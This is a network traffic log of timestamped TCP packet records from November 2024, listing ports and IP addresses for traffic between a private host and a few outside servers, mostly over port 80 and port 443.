Nov 23, 2024 21:15:40.527668953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.527780056 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.528600931 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.528708935 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.529536009 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.529675961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.530505896 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.530675888 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.531449080 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.531537056 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.532404900 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.532795906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.533432961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.533536911 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.534343958 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.534475088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.535307884 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.535375118 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.536289930 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.536461115 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.537221909 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.537766933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.538184881 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.538258076 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.539108038 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.539398909 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.540096998 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.540169954 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.541065931 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.541373014 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.541986942 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.542052984 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.542714119 CET	49765	443	192.168.2.8	35.190.72.216
Nov 23, 2024 21:15:40.542732954 CET	443	49765	35.190.72.216	192.168.2.8
Nov 23, 2024 21:15:40.542967081 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.543163061 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.543924093 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.544029951 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.544712067 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.544920921 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.545284986 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.545845032 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.546040058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.546792030 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.547023058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.547775984 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.547858000 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.548953056 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.548962116 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.549828053 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.549900055 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.550611973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.550739050 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.551584959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.551744938 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.552537918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.552606106 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.553499937 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.553575993 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.554464102 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.554586887 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.555424929 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.555643082 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.556368113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.556428909 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.557315111 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.557367086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.564982891 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.570169926 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.570255995 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.579325914 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.585124969 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.605380058 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.621870041 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.621956110 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.621956110 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.622009039 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.622009039 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.622066021 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.622065067 CET	49758	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.629044056 CET	443	49762	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.629111052 CET	443	49762	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.629142046 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.629317045 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.629683971 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.629748106 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.635332108 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.635350943 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.636898041 CET	49757	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.637049913 CET	49759	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.637068987 CET	49762	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.637332916 CET	49759	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.637347937 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.637378931 CET	49759	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.637384892 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.646090031 CET	49757	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.646099091 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.646451950 CET	49757	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.646456003 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.679380894 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.679394960 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.679672003 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.679872990 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.680594921 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.680749893 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.681646109 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.684422016 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.685540915 CET	49766	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.685591936 CET	443	49766	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.686065912 CET	49766	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.712794065 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.713411093 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.713484049 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.714453936 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.715192080 CET	49758	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.715193033 CET	49758	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.715265989 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.715298891 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.715972900 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.715992928 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.716001987 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.716008902 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.716029882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.716038942 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.716146946 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.716155052 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.717658043 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.717833042 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.718652010 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.718811989 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.719592094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.719759941 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.720521927 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.720827103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.721582890 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.721590996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.722573042 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.722583055 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.723366976 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.723542929 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.724419117 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.724427938 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.724772930 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.725092888 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.725601912 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.725799084 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.726110935 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.726444960 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.726624966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.728045940 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.728054047 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.728538990 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.728724003 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.729779959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.729799986 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.730978966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.730988979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.731308937 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.731966972 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.732485056 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.732959032 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.733453989 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.733464003 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.734718084 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.734728098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.735867023 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.736233950 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.736974955 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.737174988 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.737802982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.738008022 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.738698006 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.738848925 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.739687920 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.739852905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.740386963 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.740567923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.741379976 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.741389036 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.741996050 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.742003918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.743267059 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.743331909 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.743359089 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.743514061 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.743696928 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.744523048 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.744693041 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.745527983 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.745537043 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.746438026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.746448040 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.746659040 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.747339964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.747349977 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.748375893 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.748385906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.749274015 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.749284029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.750147104 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.750329971 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.751027107 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.751224995 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.752121925 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.752130985 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.752594948 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.752604008 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.752872944 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.752957106 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.755911112 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.755919933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.756949902 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.756958961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.757405996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.757421970 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.757894039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.757904053 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.758733988 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.758896112 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.759736061 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.759892941 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.760377884 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.760545015 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.760545015 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.760669947 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.760669947 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.760669947 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.819602013 CET	49762	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.819634914 CET	443	49762	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.819648981 CET	49762	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.819657087 CET	443	49762	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.821199894 CET	49766	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.821249008 CET	443	49766	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.877228975 CET	49767	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.877269983 CET	443	49767	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.879473925 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.879585028 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.879888058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.880011082 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.880362034 CET	49767	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.880542994 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.880697012 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.880865097 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.880934954 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.880997896 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.881072044 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.881772041 CET	49768	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.881828070 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.881866932 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.882292032 CET	49768	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.882328987 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.883337021 CET	49767	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.883352041 CET	443	49767	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.890549898 CET	49768	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.890569925 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.891305923 CET	49769	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.891333103 CET	443	49769	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.892756939 CET	49769	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.893070936 CET	49769	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.893083096 CET	443	49769	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.899610043 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:40.900636911 CET	49770	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.900667906 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.900754929 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:40.900840998 CET	49770	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.900966883 CET	49770	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.900979042 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.906107903 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:40.906117916 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:40.906383038 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:40.909343958 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:40.909343958 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:40.909424067 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:40.913383961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.913409948 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.913609982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.913672924 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.914566040 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.914695024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.915513039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.915564060 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.915930033 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.916201115 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.916501999 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.916589022 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.916785955 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.917534113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.917602062 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.917749882 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.918422937 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.918559074 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.919348955 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.919399977 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.920110941 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.920315981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.920413017 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.921288013 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.921375990 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.922223091 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.922353029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.923198938 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.923305988 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.924141884 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.924232960 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.924269915 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.924362898 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.925098896 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.925196886 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.925297022 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.926059961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.926178932 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.926201105 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.926235914 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.926995993 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.927057981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.927078009 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.927118063 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.927978992 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.928073883 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.928162098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.928344011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.928919077 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.928983927 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.929116964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.929191113 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.930077076 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.930180073 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.930202007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.930258989 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.930903912 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.931060076 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.931088924 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.931283951 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.931829929 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.931911945 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.931925058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.932750940 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.932821989 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.933693886 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.933841944 CET	80	49750	185.215.113.16	192.168.2.8
